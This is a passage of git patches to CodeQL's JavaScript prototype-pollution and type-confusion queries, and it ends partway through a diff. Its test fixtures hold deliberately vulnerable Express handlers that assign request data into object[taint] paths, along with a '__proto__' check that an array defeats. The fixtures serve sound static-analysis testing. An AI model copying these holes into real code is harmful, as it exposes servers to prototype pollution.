6 files changed, 147 insertions(+), 1 deletion(-) create mode 100644 javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.expected create mode 100644 javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.ql create mode 100644 javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected create mode 100644 javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.qlref create mode 100644 javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll index eb9359b29ea..309672c154f 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll @@ -14,7 +14,9 @@ module PrototypePollutingAssignment { private import PrototypePollutingAssignmentCustomizations::PrototypePollutingAssignment // Materialize flow labels - private class ConcreteObjectPrototype extends ObjectPrototype { } + private class ConcreteObjectPrototype extends ObjectPrototype { + ConcreteObjectPrototype() { this = this } + } /** A taint-tracking configuration for reasoning about prototype-polluting assignments. */ class Configuration extends TaintTracking::Configuration { @@ -65,6 +67,8 @@ module PrototypePollutingAssignment { } override predicate isLabeledBarrier(DataFlow::Node node, DataFlow::FlowLabel lbl) { + super.isLabeledBarrier(node, lbl) + or // Don't propagate the receiver into method calls, as the method lookup will fail on Object.prototype. node = any(DataFlow::MethodCallNode m).getReceiver() and lbl instanceof ObjectPrototype @@ -75,6 +79,7 @@ module PrototypePollutingAssignment { guard instanceof InExprCheck or guard instanceof InstanceofCheck or guard instanceof IsArrayCheck or + guard instanceof TypeofCheck or guard instanceof EqualityCheck } } @@ -148,6 +153,28 @@ module PrototypePollutingAssignment { } } + /** A check of form `typeof e === "string"`. */ + private class TypeofCheck extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::ValueNode { + override EqualityTest astNode; + Expr operand; + string value; + + TypeofCheck() { + astNode.getLeftOperand().(TypeofExpr).getOperand() = operand and + astNode.getRightOperand().getStringValue() = value + } + + override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { + ( + value = "object" and outcome = false + or + value != "object" and outcome = true + ) and + e = operand and + label instanceof ObjectPrototype + } + } + /** A call to `Array.isArray`, which is false for `Object.prototype`. */ private class IsArrayCheck extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::CallNode { IsArrayCheck() { this = DataFlow::globalVarRef("Array").getAMemberCall("isArray") } diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.ql b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.ql new file mode 100644 index 00000000000..f25d08771df --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.ql @@ -0,0 +1,7 @@ +import javascript +import testUtilities.ConsistencyChecking +import semmle.javascript.security.dataflow.PrototypePollutingAssignment + +class Config extends ConsistencyConfiguration, PrototypePollutingAssignment::Configuration { + override File getAFile() { any() } +} diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected new file mode 100644 index 00000000000..aae97e5917b --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected @@ -0,0 +1,47 @@ +nodes +| tst.js:5:9:5:38 | taint | +| tst.js:5:17:5:38 | String( ... y.data) | +| tst.js:5:24:5:37 | req.query.data | +| tst.js:5:24:5:37 | req.query.data | +| tst.js:8:5:8:17 | object[taint] | +| tst.js:8:5:8:17 | object[taint] | +| tst.js:8:12:8:16 | taint | +| tst.js:9:5:9:17 | object[taint] | +| tst.js:9:5:9:17 | object[taint] | +| tst.js:9:12:9:16 | taint | +| tst.js:12:18:12:30 | object[taint] | +| tst.js:12:25:12:29 | taint | +| tst.js:14:5:14:32 | unsafeG ... taint) | +| tst.js:14:5:14:32 | unsafeG ... taint) | +| tst.js:14:27:14:31 | taint | +| tst.js:33:23:33:25 | obj | +| tst.js:34:5:34:7 | obj | +| tst.js:34:5:34:7 | obj | +| tst.js:42:9:42:11 | obj | +| tst.js:42:9:42:11 | obj | +edges +| tst.js:5:9:5:38 | taint | tst.js:8:12:8:16 | taint | +| tst.js:5:9:5:38 | taint | tst.js:9:12:9:16 | taint | +| tst.js:5:9:5:38 | taint | tst.js:12:25:12:29 | taint | +| tst.js:5:9:5:38 | taint | tst.js:14:27:14:31 | taint | +| tst.js:5:17:5:38 | String( ... y.data) | tst.js:5:9:5:38 | taint | +| tst.js:5:24:5:37 | req.query.data | tst.js:5:17:5:38 | String( ... y.data) | +| tst.js:5:24:5:37 | req.query.data | tst.js:5:17:5:38 | String( ... y.data) | +| tst.js:8:12:8:16 | taint | tst.js:8:5:8:17 | object[taint] | +| tst.js:8:12:8:16 | taint | tst.js:8:5:8:17 | object[taint] | +| tst.js:9:12:9:16 | taint | tst.js:9:5:9:17 | object[taint] | +| tst.js:9:12:9:16 | taint | tst.js:9:5:9:17 | object[taint] | +| tst.js:12:18:12:30 | object[taint] | tst.js:33:23:33:25 | obj | +| tst.js:12:25:12:29 | taint | tst.js:12:18:12:30 | object[taint] | +| tst.js:14:27:14:31 | taint | tst.js:14:5:14:32 | unsafeG ... taint) | +| tst.js:14:27:14:31 | taint | tst.js:14:5:14:32 | unsafeG ... taint) | +| tst.js:33:23:33:25 | obj | tst.js:34:5:34:7 | obj | +| tst.js:33:23:33:25 | obj | tst.js:34:5:34:7 | obj | +| tst.js:33:23:33:25 | obj | tst.js:42:9:42:11 | obj | +| tst.js:33:23:33:25 | obj | tst.js:42:9:42:11 | obj | +#select +| tst.js:8:5:8:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:8:5:8:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | +| tst.js:9:5:9:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:9:5:9:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | +| tst.js:14:5:14:32 | unsafeG ... taint) | tst.js:5:24:5:37 | req.query.data | tst.js:14:5:14:32 | unsafeG ... taint) | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | +| tst.js:34:5:34:7 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:34:5:34:7 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | +| tst.js:42:9:42:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:42:9:42:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.qlref b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.qlref new file mode 100644 index 00000000000..107951e169e --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.qlref @@ -0,0 +1 @@ +Security/CWE-915/PrototypePollutingAssignment.ql \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js new file mode 100644 index 00000000000..2e420cf6a2b --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js @@ -0,0 +1,64 @@ +let express = require('express'); +let app = express(); + +app.get('/', (req, res) => { + let taint = String(req.query.data); + + let object = {}; + object[taint][taint] = taint; // NOT OK + object[taint].foo = 'bar'; // NOT OK - may pollute, although attacker has no control over data being injected + object.baz[taint] = taint; // OK + + mutateObject(object[taint], 'blah'); + + unsafeGetProp(object, taint).foo = 'bar'; // NOT OK + unsafeGetProp(object, 'safe').foo = 'bar'; // OK + + safeGetProp(object, taint).foo = 'bar'; // OK + + let possiblyProto = object[taint] || new Box(); + possiblyProto.m(); + + let prototypeLessObject = Object.create(null); + prototypeLessObject[taint][taint] = taint; // OK + + let directlyMutated = {}; + directlyMutated[taint] = taint; // OK - can't affect Object.prototype + + if (object.hasOwnProperty(taint)) { + object[taint].foo = 'bar'; // OK + } +}); + +function mutateObject(obj, x) { + obj.foo = x; // NOT OK + if (obj instanceof Object) { + obj.foo = x; // OK + } + if (typeof obj === 'function') { + obj.foo = x; // OK + } + if (obj != null) { + obj.foo = x; // NOT OK + } +} + +function unsafeGetProp(obj, prop) { + return obj ? obj[prop] : null; +} + +function safeGetProp(obj, prop) { + if (prop === '__proto__' || prop === 'constructor') { + return null; + } + return obj ? obj[prop] : null; +} + +class Box { + constructor(x) { + this.x = x; + } + m() { + this.foo = 'bar'; // OK - 'this' won't refer to Object.prototype + } +} From e10a22ec26307348d1293532abb6c1c030b01e61 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 2 Dec 2020 11:15:30 +0000 Subject: [PATCH 0166/1241] JS: Restrict size of some predicates --- .../dataflow/PrototypePollutingAssignment.qll | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll index 309672c154f..ab3ab0255fc 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll @@ -41,8 +41,8 @@ module PrototypePollutingAssignment { ) { // Step from x -> obj[x] while switching to the ObjectPrototype label // (If `x` can have the value `__proto__` then the result can be Object.prototype) - exists(DataFlow::PropRead read | - pred = read.getPropertyNameExpr().flow() and + exists(DynamicPropRead read | + pred = read.getPropertyNameNode() and succ = read and inlbl.isTaint() and outlbl instanceof ObjectPrototype and @@ -53,7 +53,7 @@ module PrototypePollutingAssignment { // Exclude cases where the read has no prototype, or a prototype other than Object.prototype. not read = prototypeLessObject().getAPropertyRead() and // Exclude cases where this property has just been assigned to - not read.(DynamicPropRead).hasDominatingAssignment() + not read.hasDominatingAssignment() ) or // Same as above, but for property projection. @@ -69,8 +69,8 @@ module PrototypePollutingAssignment { override predicate isLabeledBarrier(DataFlow::Node node, DataFlow::FlowLabel lbl) { super.isLabeledBarrier(node, lbl) or - // Don't propagate the receiver into method calls, as the method lookup will fail on Object.prototype. - node = any(DataFlow::MethodCallNode m).getReceiver() and + // Don't propagate into the receiver, as the method lookups will generally fail on Object.prototype. + node instanceof DataFlow::ThisNode and lbl instanceof ObjectPrototype } @@ -117,7 +117,10 @@ module PrototypePollutingAssignment { DataFlow::ValueNode { override PropAccess astNode; - PropertyPresenceCheck() { not isPropertyPresentOnObjectPrototype(astNode.getPropertyName()) } + PropertyPresenceCheck() { + astNode = any(ConditionGuardNode c).getTest() and // restrict size of charpred + not isPropertyPresentOnObjectPrototype(astNode.getPropertyName()) + } override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { e = astNode.getBase() and From f132b4a279e55ac5f5d4a4afa786a811d14544c0 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 2 Dec 2020 11:38:21 +0000 Subject: [PATCH 0167/1241] JS: Add type confusion sink for prototype pollution checks --- .../2020-11-25-prototype-pollution.md | 5 +-- .../TypeConfusionThroughParameterTampering.ql | 4 +-- ...hroughParameterTamperingCustomizations.qll | 13 ++++++++ ...onfusionThroughParameterTampering.expected | 33 ++++++++++++++----- .../test/query-tests/Security/CWE-843/tst.js | 13 ++++++++ 5 files changed, 55 insertions(+), 13 deletions(-) diff --git a/javascript/change-notes/2020-11-25-prototype-pollution.md b/javascript/change-notes/2020-11-25-prototype-pollution.md index 330d7178fbe..f945ae89332 100644 --- a/javascript/change-notes/2020-11-25-prototype-pollution.md +++ b/javascript/change-notes/2020-11-25-prototype-pollution.md @@ -6,5 +6,6 @@ lgtm,codescanning This highlights indirect modification of `Object.prototype` via an unsafe `merge` call taking a user-controlled object as argument. * The query previously named "Prototype pollution in utility function" (`js/prototype-pollution-utility`) has been renamed to "Prototype-polluting function". This query highlights the implementation of an unsafe `merge` function, to ensure a robust API is exposed downstream. - * The prototype pollution queries have been moved to the Security/CWE-915 folder, - and tagged with CWE-079, CWE-094, CWE-400, and CWE-915. + * The above queries have been moved to the Security/CWE-915 folder, and tagged with CWE-079, CWE-094, CWE-400, and CWE-915. + * The query "Type confusion through parameter tampering" (`js/type-confusion-through-parameter-tampering`) now highlights + ineffective prototype pollution checks that can be bypassed by type confusion. diff --git a/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql b/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql index 17788e66d68..5008bc94038 100644 --- a/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql +++ b/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql @@ -15,5 +15,5 @@ import DataFlow::PathGraph from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink where cfg.hasFlowPath(source, sink) -select sink.getNode(), source, sink, "Potential type confusion for $@.", source.getNode(), - "HTTP request parameter" +select sink.getNode(), source, sink, "Potential type confusion as $@ may be either an array or a string.", source.getNode(), + "this HTTP request parameter" diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/TypeConfusionThroughParameterTamperingCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/TypeConfusionThroughParameterTamperingCustomizations.qll index d9963a6f479..7fe1618f961 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/TypeConfusionThroughParameterTamperingCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/TypeConfusionThroughParameterTamperingCustomizations.qll @@ -92,4 +92,17 @@ module TypeConfusionThroughParameterTampering { ) } } + + /** + * A value compared to the string `__proto__` or `constructor`, which may be bypassed by wrapping + * the payload in an array. + */ + private class ProtoStringComparison extends Sink { + ProtoStringComparison() { + exists(EqualityTest test | + test.hasOperands(this.asExpr(), any(Expr e | e.getStringValue() = ["__proto__", "constructor"])) and + test.isStrict() + ) + } + } } diff --git a/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.expected b/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.expected index 9baa3bcaecd..5c560d8c4ca 100644 --- a/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.expected +++ b/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.expected @@ -25,6 +25,13 @@ nodes | tst.js:45:15:45:35 | ctx.req ... ery.foo | | tst.js:46:5:46:7 | foo | | tst.js:46:5:46:7 | foo | +| tst.js:77:25:77:38 | req.query.path | +| tst.js:77:25:77:38 | req.query.path | +| tst.js:80:23:80:23 | p | +| tst.js:81:9:81:9 | p | +| tst.js:81:9:81:9 | p | +| tst.js:82:9:82:9 | p | +| tst.js:82:9:82:9 | p | edges | tst.js:5:9:5:27 | foo | tst.js:6:5:6:7 | foo | | tst.js:5:9:5:27 | foo | tst.js:6:5:6:7 | foo | @@ -50,13 +57,21 @@ edges | tst.js:45:9:45:35 | foo | tst.js:46:5:46:7 | foo | | tst.js:45:15:45:35 | ctx.req ... ery.foo | tst.js:45:9:45:35 | foo | | tst.js:45:15:45:35 | ctx.req ... ery.foo | tst.js:45:9:45:35 | foo | +| tst.js:77:25:77:38 | req.query.path | tst.js:80:23:80:23 | p | +| tst.js:77:25:77:38 | req.query.path | tst.js:80:23:80:23 | p | +| tst.js:80:23:80:23 | p | tst.js:81:9:81:9 | p | +| tst.js:80:23:80:23 | p | tst.js:81:9:81:9 | p | +| tst.js:80:23:80:23 | p | tst.js:82:9:82:9 | p | +| tst.js:80:23:80:23 | p | tst.js:82:9:82:9 | p | #select -| tst.js:6:5:6:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:6:5:6:7 | foo | Potential type confusion for $@. | tst.js:5:15:5:27 | req.query.foo | HTTP request parameter | -| tst.js:8:5:8:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:8:5:8:7 | foo | Potential type confusion for $@. | tst.js:5:15:5:27 | req.query.foo | HTTP request parameter | -| tst.js:11:9:11:11 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:11:9:11:11 | foo | Potential type confusion for $@. | tst.js:5:15:5:27 | req.query.foo | HTTP request parameter | -| tst.js:15:9:15:11 | bar | tst.js:5:15:5:27 | req.query.foo | tst.js:15:9:15:11 | bar | Potential type confusion for $@. | tst.js:5:15:5:27 | req.query.foo | HTTP request parameter | -| tst.js:27:5:27:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:27:5:27:7 | foo | Potential type confusion for $@. | tst.js:5:15:5:27 | req.query.foo | HTTP request parameter | -| tst.js:28:5:28:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:28:5:28:7 | foo | Potential type confusion for $@. | tst.js:5:15:5:27 | req.query.foo | HTTP request parameter | -| tst.js:36:9:36:11 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:36:9:36:11 | foo | Potential type confusion for $@. | tst.js:5:15:5:27 | req.query.foo | HTTP request parameter | -| tst.js:41:5:41:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:41:5:41:7 | foo | Potential type confusion for $@. | tst.js:5:15:5:27 | req.query.foo | HTTP request parameter | -| tst.js:46:5:46:7 | foo | tst.js:45:15:45:35 | ctx.req ... ery.foo | tst.js:46:5:46:7 | foo | Potential type confusion for $@. | tst.js:45:15:45:35 | ctx.req ... ery.foo | HTTP request parameter | +| tst.js:6:5:6:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:6:5:6:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter | +| tst.js:8:5:8:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:8:5:8:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter | +| tst.js:11:9:11:11 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:11:9:11:11 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter | +| tst.js:15:9:15:11 | bar | tst.js:5:15:5:27 | req.query.foo | tst.js:15:9:15:11 | bar | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter | +| tst.js:27:5:27:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:27:5:27:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter | +| tst.js:28:5:28:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:28:5:28:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter | +| tst.js:36:9:36:11 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:36:9:36:11 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter | +| tst.js:41:5:41:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:41:5:41:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter | +| tst.js:46:5:46:7 | foo | tst.js:45:15:45:35 | ctx.req ... ery.foo | tst.js:46:5:46:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:45:15:45:35 | ctx.req ... ery.foo | this HTTP request parameter | +| tst.js:81:9:81:9 | p | tst.js:77:25:77:38 | req.query.path | tst.js:81:9:81:9 | p | Potential type confusion as $@ may be either an array or a string. | tst.js:77:25:77:38 | req.query.path | this HTTP request parameter | +| tst.js:82:9:82:9 | p | tst.js:77:25:77:38 | req.query.path | tst.js:82:9:82:9 | p | Potential type confusion as $@ may be either an array or a string. | tst.js:77:25:77:38 | req.query.path | this HTTP request parameter | diff --git a/javascript/ql/test/query-tests/Security/CWE-843/tst.js b/javascript/ql/test/query-tests/Security/CWE-843/tst.js index 4f686b62e08..82650bcf054 100644 --- a/javascript/ql/test/query-tests/Security/CWE-843/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-843/tst.js @@ -71,3 +71,16 @@ express().get('/some/path/:foo', function(req, res) { p.length < 1; // OK }); + +express().get('/some/path/:foo', function(req, res) { + let someObject = {}; + safeGet(someObject, req.query.path).bar = 'baz'; // prototype pollution here - but flagged in `safeGet` +}); + +function safeGet(obj, p) { + if (p === '__proto__' || // NOT OK - could be singleton array + p === 'constructor') { // NOT OK - could be singleton array + return null; + } + return obj[p]; +} From fe86465a0b18d327600e05aed843bb81c9015d1d Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Fri, 27 Nov 2020 11:46:02 +0000 Subject: [PATCH 0168/1241] JS: Refactor store/load flow a bit --- .../javascript/dataflow/Configuration.qll | 41 ++++++++++--------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll index 62f04db9055..45954e86935 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll @@ -1183,50 +1183,49 @@ private predicate loadStep( } /** - * Holds if `rhs` is the right-hand side of a write to property `prop`, and `nd` is reachable - * from the base of that write under configuration `cfg` (possibly through callees) along a - * path summarized by `summary`. + * Holds if there is flow to `base.startProp`, and `base.startProp` flows to `nd.endProp` under `cfg/summary`. */ pragma[nomagic] private predicate reachableFromStoreBase( - string prop, DataFlow::Node rhs, DataFlow::Node nd, DataFlow::Configuration cfg, + string startProp, string endProp, DataFlow::Node base, DataFlow::Node nd, DataFlow::Configuration cfg, PathSummary summary ) { - exists(PathSummary s1, PathSummary s2 | + exists(PathSummary s1, PathSummary s2, DataFlow::Node rhs | reachableFromSource(rhs, cfg, s1) or - reachableFromStoreBase(_, _, rhs, cfg, s1) + reachableFromStoreBase(_, _, _, rhs, cfg, s1) | - storeStep(rhs, nd, prop, cfg, s2) and + storeStep(rhs, nd, startProp, cfg, s2) and + endProp = startProp and + base = nd and summary = - MkPathSummary(false, s1.hasCall().booleanOr(s2.hasCall()), s2.getStartLabel(), - s2.getEndLabel()) + MkPathSummary(false, s1.hasCall().booleanOr(s2.hasCall()), DataFlow::FlowLabel::data(), DataFlow::FlowLabel::data()) ) or exists(PathSummary newSummary, PathSummary oldSummary | - reachableFromStoreBaseStep(prop, rhs, nd, cfg, oldSummary, newSummary) and + reachableFromStoreBaseStep(startProp, endProp, base, nd, cfg, oldSummary, newSummary) and summary = oldSummary.appendValuePreserving(newSummary) ) } /** - * Holds if `rhs` is the right-hand side of a write to property `prop`, and `nd` is reachable - * from the base of that write under configuration `cfg` (possibly through callees) along a - * path whose last step is summarized by `newSummary`, and the previous steps are summarized + * Holds if `base` is the base of a write to property `prop`, and `nd` is reachable + * from `base` under configuration `cfg` (possibly through callees) along a path whose + * last step is summarized by `newSummary`, and the previous steps are summarized * by `oldSummary`. */ pragma[noinline] private predicate reachableFromStoreBaseStep( - string prop, DataFlow::Node rhs, DataFlow::Node nd, DataFlow::Configuration cfg, + string startProp, string endProp, DataFlow::Node base, DataFlow::Node nd, DataFlow::Configuration cfg, PathSummary oldSummary, PathSummary newSummary ) { exists(DataFlow::Node mid | - reachableFromStoreBase(prop, rhs, mid, cfg, oldSummary) and + reachableFromStoreBase(startProp, endProp, base, mid, cfg, oldSummary) and flowStep(mid, cfg, nd, newSummary) or exists(string midProp | - reachableFromStoreBase(midProp, rhs, mid, cfg, oldSummary) and - isAdditionalLoadStoreStep(mid, nd, midProp, prop, cfg) and + reachableFromStoreBase(startProp, midProp, base, mid, cfg, oldSummary) and + isAdditionalLoadStoreStep(mid, nd, midProp, endProp, cfg) and newSummary = PathSummary::level() ) ) @@ -1260,9 +1259,11 @@ private predicate storeToLoad( DataFlow::Node pred, DataFlow::Node succ, DataFlow::Configuration cfg, PathSummary oldSummary, PathSummary newSummary ) { - exists(string prop, DataFlow::Node base | - reachableFromStoreBase(prop, pred, base, cfg, oldSummary) and - loadStep(base, succ, prop, cfg, newSummary) + exists(string storeProp, string loadProp, DataFlow::Node storeBase, DataFlow::Node loadBase, PathSummary s1, PathSummary s2 | + storeStep(pred, storeBase, storeProp, cfg, s1) and + reachableFromStoreBase(storeProp, loadProp, storeBase, loadBase, cfg, s2) and + oldSummary = s1.appendValuePreserving(s2) and + loadStep(loadBase, succ, loadProp, cfg, newSummary) ) } From 1b0bec9143a32c50be8d5088bd93014d20ad5dcd Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 2 Dec 2020 21:01:16 +0000 Subject: [PATCH 0169/1241] JS: Remove magic from barrier guard predicates --- .../src/semmle/javascript/dataflow/Configuration.qll | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll index 45954e86935..c981b0cb0ee 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll @@ -214,6 +214,7 @@ abstract class Configuration extends string { * Holds if `guard` is a barrier guard for this configuration, added through * `isBarrierGuard` or `AdditionalBarrierGuardNode`. */ + pragma[nomagic] private predicate isBarrierGuardInternal(BarrierGuardNode guard) { isBarrierGuard(guard) or @@ -368,6 +369,7 @@ abstract class BarrierGuardNode extends DataFlow::Node { * * `label` is bound to the blocked label, or the empty string if all labels should be blocked. */ +pragma[nomagic] private predicate barrierGuardBlocksExpr( BarrierGuardNode guard, boolean outcome, Expr test, string label ) { @@ -383,7 +385,7 @@ private predicate barrierGuardBlocksExpr( /** * Holds if `guard` may block the flow of a value reachable through exploratory flow. */ -pragma[noinline] +pragma[nomagic] private predicate barrierGuardIsRelevant(BarrierGuardNode guard) { exists(Expr e | barrierGuardBlocksExpr(guard, _, e, _) and @@ -397,7 +399,7 @@ private predicate barrierGuardIsRelevant(BarrierGuardNode guard) { * * `label` is bound to the blocked label, or the empty string if all labels should be blocked. */ -pragma[noinline] +pragma[nomagic] private predicate barrierGuardBlocksAccessPath( BarrierGuardNode guard, boolean outcome, AccessPath ap, string label ) { @@ -410,6 +412,7 @@ private predicate barrierGuardBlocksAccessPath( * * This predicate is outlined to give the optimizer a hint about the join ordering. */ +pragma[nomagic] private predicate barrierGuardBlocksSsaRefinement( BarrierGuardNode guard, boolean outcome, SsaRefinementNode ref, string label ) { @@ -425,7 +428,7 @@ private predicate barrierGuardBlocksSsaRefinement( * * `outcome` is bound to the outcome of `cond` for join-ordering purposes. */ -pragma[noinline] +pragma[nomagic] private predicate barrierGuardUsedInCondition( BarrierGuardNode guard, ConditionGuardNode cond, boolean outcome ) { @@ -444,6 +447,7 @@ private predicate barrierGuardUsedInCondition( * * `label` is bound to the blocked label, or the empty string if all labels should be blocked. */ +pragma[nomagic] private predicate barrierGuardBlocksNode(BarrierGuardNode guard, DataFlow::Node nd, string label) { // 1) `nd` is a use of a refinement node that blocks its input variable exists(SsaRefinementNode ref, boolean outcome | @@ -466,6 +470,7 @@ private predicate barrierGuardBlocksNode(BarrierGuardNode guard, DataFlow::Node * * `label` is bound to the blocked label, or the empty string if all labels should be blocked. */ +pragma[nomagic] private predicate barrierGuardBlocksEdge( BarrierGuardNode guard, DataFlow::Node pred, DataFlow::Node succ, string label ) { From 355cfaaf42ac6527d2814a39ec8135cd18905263 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Thu, 3 Dec 2020 14:46:03 +0000 Subject: [PATCH 0170/1241] JS: Autoformat --- .../TypeConfusionThroughParameterTampering.ql | 3 ++- .../semmle/javascript/dataflow/Configuration.qll | 16 ++++++++++------ ...onThroughParameterTamperingCustomizations.qll | 3 ++- 3 files changed, 14 insertions(+), 8 deletions(-) diff --git a/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql b/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql index 5008bc94038..6a065c9735b 100644 --- a/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql +++ b/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql @@ -15,5 +15,6 @@ import DataFlow::PathGraph from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink where cfg.hasFlowPath(source, sink) -select sink.getNode(), source, sink, "Potential type confusion as $@ may be either an array or a string.", source.getNode(), +select sink.getNode(), source, sink, + "Potential type confusion as $@ may be either an array or a string.", source.getNode(), "this HTTP request parameter" diff --git a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll index c981b0cb0ee..fa67b9159e9 100644 --- 